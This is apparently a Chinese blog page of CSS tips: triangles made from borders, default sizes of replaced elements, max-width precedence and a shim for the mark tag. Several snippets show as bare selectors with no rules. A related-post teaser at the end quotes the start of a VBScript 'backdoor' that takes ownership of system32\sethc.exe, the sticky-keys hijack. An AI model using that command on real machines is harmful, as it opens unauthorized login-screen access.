那些有意思的css片段（持續更新）

1:三角形

border-top: 30px solid red;

border-right:30px solid transparent;
border-bottom: 0px solid transparent;
border-left: 30px solid transparent;

其次,對於塊級元素,想設定有顏色的邊框就必須設定這個邊框風格+

必須設定這個邊框風格+

必須設定這個邊框風格,至於為什麼,你可以看好h1元素預設的邊框樣式是none,所以不寫style你想讓h1大哥有邊框?never!

\ 且solid是白底色的意思嘛?不是!是實線,風格就是實線風格!

最後就可以設定邊框寬度了,首先是上邊框!30px,然後是左右邊框,30px! 下為0,很顯然再加上顏色的話就會使乙個倒三角形:↓

忘了說為什麼要把左右的color設定成transparent↓

css2 引入了邊框顏色值 transparent。這個值用於建立有寬度的不可見邊框

2:那些

沒怎麼用過的塊級元素是不是所有都是display:block?--no!： li:預設list-item;table: 預設table

3:zxx說過，寬度分離是為了迎合設計師寬度更改，導致了需要重新計算padding和border的場景設計的，like this：

.f 

.s 

input, textarea, img, video, object

5：設定了max-width權重比width的！important都高

就像乙個捲尺一樣，給它設定了max-width:3m就是3公尺處切了一刀，隨後使用之測量時，去量乙個5m高的東西，你覺得會量的出來嗎?

6:video,canvas，iframe等替換元素，預設都是300px寬*150px高，唯獨img在各個廠商的預設不一致，chrome是0*0，ie有個小叉叉

懶載入css:

img

img[src]

img

img::after

.f 

.s 

8：內建padding在radio是無，button需要針對火狐reset下：

button

button::-moz-focus-inner 

可以用於動畫在最後一幀的保留

10：mark標籤聽說過沒？就是你在網頁ctrl+f的東西的背景色啦：

菜鳥測試mark

這標籤很常規，除了ie8以及以下，別的瀏覽器全相容

想要支援只能js的createelement('mark')+css_reset--

(document.all && !document.addeventlistener) && document.createelement('mark');

mark

有意思的後門

dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...

有意思的number format

申明 這是個人原創，在cnblogs上也有，都是自己寫的所以放原創了。number format number,decimals,decimalpoint,separator 有四個引數，第乙個和第二個引數是必須的，第三個和第四個是可選項。但實際測試中第三個和第四個這兩個引數必須同時存在，也就是要麼...

有意思的遞迴

先來乙個入門的 上初中學習數列求和什麼的時候我們就學過高斯的計算1到100的自然數的和的經典課文，那麼如果我們現在用程式的話該怎麼來做呢?自然是迴圈來做這件事。如果不用迴圈怎麼做呢？def sum first,end if end 1 return first elif end 1 return s...